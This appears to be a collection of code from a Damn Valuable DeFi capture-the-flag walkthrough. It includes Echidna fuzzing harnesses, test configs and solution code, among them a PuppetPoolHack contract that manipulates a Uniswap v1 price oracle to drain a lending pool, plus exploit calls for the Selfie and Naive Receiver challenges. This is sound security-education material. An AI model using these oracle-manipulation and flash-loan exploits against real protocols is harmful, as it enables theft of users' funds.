// ERC4626.solfunctionconvertToShares(uint256assets)publicviewvirtualreturns(uint256){uint256supply=totalSupply;// the totalSupply of oDVT// 当初始 totalSupply 为 0 时,deposit assets 得到同等数量的 sharesreturnsupply==0?assets:assets.mulDivDown(supply,totalAssets());// (assets * supply) / totalAssets()}functionpreviewDeposit(uint256assets)publicviewvirtualreturns(uint256){returnconvertToShares(assets);}functiondeposit(uint256assets,addressreceiver)publicvirtualreturns(uint256shares){require((shares=previewDeposit(assets))!=0,"ZERO_SHARES");// Need to transfer before minting or ERC777s could reenter.asset.safeTransferFrom(msg.sender,address(this),assets);_mint(receiver,shares);emitDeposit(msg.sender,receiver,assets,shares);afterDeposit(assets,shares);}
it('Execution',asyncfunction(){// get the contracts with player as signertoken=token.connect(player);awaittoken.transfer(vault.address,INITIAL_PLAYER_TOKEN_BALANCE);});
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"./ReceiverUnstoppable.sol";import"../DamnValuableToken.sol";contractUnstoppableTestisIERC3156FlashBorrower{DamnValuableTokentoken;UnstoppableVaultvault;uint256constantTOKENS_IN_VAULT=1000000e18;uint256constantINITIAL_PLAYER_TOKEN_BALANCE=10e18;constructor(){token=newDamnValuableToken();vault=newUnstoppableVault(token,msg.sender,msg.sender);token.approve(address(vault),TOKENS_IN_VAULT);vault.deposit(TOKENS_IN_VAULT,msg.sender);// sending the attacker some tokenstoken.transfer(address(0x10000),INITIAL_PLAYER_TOKEN_BALANCE);}functiononFlashLoan(addressinitiator,address_token,uint256amount,uint256fee,bytescalldata)externalreturns(bytes32){require(initiator==address(this)&&msg.sender==address(vault)&&_token==address(vault.asset())&&fee==0);ERC20(_token).approve(address(vault),amount);returnkeccak256("IERC3156FlashBorrower.onFlashLoan");}// check whether UnstoppableLender can always provide flash loansfunctionechidna_test_flashloan()publicreturns(bool){vault.flashLoan(this,address(token),10,"");returntrue;}}
// FlashLoanReceiver.solfunctiononFlashLoan(address,addresstoken,uint256amount,uint256fee,bytescalldata)externalreturns(bytes32){assembly{// gas savingsifiszero(eq(sload(pool.slot),caller())){mstore(0x00,0x48f5c3ed)revert(0x1c,0x04)}}if(token!=ETH)revertUnsupportedCurrency();uint256amountToBeRepaid;unchecked{amountToBeRepaid=amount+fee;}_executeActionDuringFlashLoan();SafeTransferLib.safeTransferETH(pool,amountToBeRepaid);returnkeccak256("ERC3156FlashBorrower.onFlashLoan");}
it('Execution',asyncfunction(){lethacker=await(awaitethers.getContractFactory("NaiveReceiverHacker")).deploy();// or use ethers.deployContract("NaiveReceiverHacker"). However, hardhat-ethers(hardhat-toolbox) is not included in the package.jsonawaithacker.exploit(pool.address,receiver.address);});
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"./FlashLoanReceiver.sol";contractNaiveReceiverTest{NaiveReceiverLenderPoolpool;FlashLoanReceiverreceiver;constructor()payable{pool=newNaiveReceiverLenderPool();receiver=newFlashLoanReceiver(address(pool));payable(address(pool)).transfer(1000ether);payable(address(receiver)).transfer(10ether);}// Invariant: the balance of the receiver contract can not decreasefunctionechidna_test_balance()publicviewreturns(bool){returnaddress(receiver).balance>=10ether;}}
balanceContract: 10000000000000000000000 # 10000 ether
# Multi ABI: performing direct calls to every contract
allContracts: true # multi-abi was renamed in echidna >= 2.1
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"./SideEntranceLenderPool.sol";contractPoolDeployer{// SideEntranceTest contract should not be the owner of the initial funds,// or it can remove the funds by calling withdraw()functiondeploy()externalpayablereturns(address){SideEntranceLenderPoolpool=newSideEntranceLenderPool();pool.deposit{value:1000ether}();returnaddress(pool);}}contractSideEntranceTestisIFlashLoanEtherReceiver{SideEntranceLenderPoolpool;boolcanWithdraw;boolcanDeposit;uint256depositAmount;constructor()payable{PoolDeployerdeployer=newPoolDeployer();pool=SideEntranceLenderPool(deployer.deploy{value:1000ether}());}receive()externalpayable{}functionsetWithdraw(bool_enabled)public{canWithdraw=_enabled;}functionsetDeposit(bool_enabled,uint256_amount)public{canDeposit=_enabled;depositAmount=_amount;}// IFlashLoanEtherReceiver.execute()// some manual work to guide Echidnafunctionexecute()externalpayable{if(canWithdraw){pool.withdraw();}if(canDeposit){pool.deposit{value:depositAmount}();}}functionflashLoan(uint256_amount)public{pool.flashLoan(_amount);}functiontestBalance()publicview{assert(address(pool).balance>=1000ether);}}
testMode: assertion # to check sth as well as changing the state
balanceContract: 1000000000000000000000 # 1000 ether
deployer: "0x10000"
psender: "0x10000"
contractAddr: "0x10000" # only the SideEntranceTest contract is the sender
sender: ["0x10000"]
// SPDX-License-Identifier: MITpragmasolidity^0.8.0;import"./FlashLoanerPool.sol";import"./TheRewarderPool.sol";interfaceIHevm{functionwarp(uint256)external;functionprank(addresssender)external;}contractDeployer{uint256constantTOKENS_IN_LENDER_POOl=1000000ether;uint256constantDEPOSIT_AMOUNT=100ether;FlashLoanerPoolpublicpool;TheRewarderPoolpublicrewarder;constructor(){DamnValuableTokentoken=newDamnValuableToken();pool=newFlashLoanerPool(address(token));rewarder=newTheRewarderPool(address(token));token.transfer(address(pool),TOKENS_IN_LENDER_POOl);for(uint160u=0x20000;u<0x60000;u+=0x10000){token.transfer(address(u),DEPOSIT_AMOUNT);}}}/// @dev run with `echidna . --contract TheRewarderTest --config the-rewarder.yml`contractTheRewarderTest{FlashLoanerPoolpool;TheRewarderPoolrewarder;DamnValuableTokentoken;RewardTokenrewardToken;IHevmhevm;uint256constantREWARDS_ROUND_MIN_DURATION=5days;uint256constantTOKENS_IN_LENDER_POOl=1000000ether;uint256constantDEPOSIT_AMOUNT=100ether;boolcanDeposit;boolcanWithdraw;boolcanDistribute;constructor(){Deployerdeployer=newDeployer();pool=FlashLoanerPool(deployer.pool());rewarder=TheRewarderPool(deployer.rewarder());token=DamnValuableToken(rewarder.liquidityToken());rewardToken=rewarder.rewardToken();hevm=IHevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// addr from docs// users depositfor(uint160u=0x20000;u<0x60000;u+=0x10000){hevm.prank(address(u));token.approve(address(rewarder),DEPOSIT_AMOUNT);hevm.prank(address(u));rewarder.deposit(DEPOSIT_AMOUNT);}hevm.warp(block.timestamp+REWARDS_ROUND_MIN_DURATION);for(uint160u=0x20000;u<0x60000;u+=0x10000){hevm.prank(address(u));rewarder.distributeRewards();}}functionsetDeposit(bool_enabled)public{canDeposit=_enabled;}functionsetWithdraw(bool_enabled)public{canWithdraw=_enabled;}functionsetDistribute(bool_enabled)public{canDistribute=_enabled;}functionreceiveFlashLoan(uint256amount)external{require(msg.sender==address(pool));if(canDeposit){token.approve(address(rewarder),amount);rewarder.deposit(amount);}if(canWithdraw){rewarder.withdraw(amount);}if(canDistribute){rewarder.distributeRewards();}token.transfer(address(pool),amount);}functionflashLoan()external{uint256lastRewardsTimestamp=rewarder.lastRecordedSnapshotTimestamp();require(block.timestamp>=lastRewardsTimestamp+REWARDS_ROUND_MIN_DURATION,"It's useless to call flashLoan if no rewards can be taken as ETH is precious.");// Thus, no need to use hevm to warp timepool.flashLoan(TOKENS_IN_LENDER_POOl);}functiontestBalance()publicview{assert(rewardToken.balanceOf(address(this))<rewarder.REWARDS()*99/100);}}
it('Execution',asyncfunction(){constSelfieHack=await(awaitethers.getContractFactory('SelfieHack',player)).deploy();// The return value of a non-pure non-view function is available only when the function is called and validated on-chain.awaitSelfieHack.exploit(governance.address,pool.address);awaitethers.provider.send("evm_increaseTime",[2*24*60*60]);awaitgovernance.executeAction(awaitgovernance.getActionCounter()-1);});
functionexploit()internaloverride{// Sets attacker as msg.sender for all subsequent calls until stopPrank is calledvm.startPrank(attacker);SelfieHackhack=newSelfieHack();uintactionId=hack.exploit(address(governance),address(pool));vm.stopPrank();skip(governance.getActionDelay());// 2 daysgovernance.executeAction(actionId);}
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.
functioncalculateDepositRequired(uint256amount)publicviewreturns(uint256){returnamount*_computeOraclePrice()*DEPOSIT_FACTOR/10**18;}function_computeOraclePrice()privateviewreturns(uint256){// calculates the price of the token in wei according to Uniswap pairreturnuniswapPair.balance*(10**18)/token.balanceOf(uniswapPair);}
interfaceUniswapExchangeInterface{functiontokenToEthSwapInput(uint256tokens_sold,uint256min_eth,uint256deadline)externalreturns(uint256eth_bought);}contractPuppetPoolHack{constructor(address_pool,uint8v,bytes32r,bytes32s,uint256deadline)payable{PuppetPoolpool=PuppetPool(_pool);DamnValuableTokentoken=DamnValuableToken(pool.token());token.permit(msg.sender,address(this),1000ether,deadline,v,r,s);token.transferFrom(msg.sender,address(this),1000ether);token.approve(pool.uniswapPair(),1000ether);UniswapExchangeInterface(pool.uniswapPair()).tokenToEthSwapInput(1000ether,1,block.timestamp);// since the contract is not deployed, ETH can be sent directly to the addresspool.borrow{value:address(this).balance}(100000ether,msg.sender);}}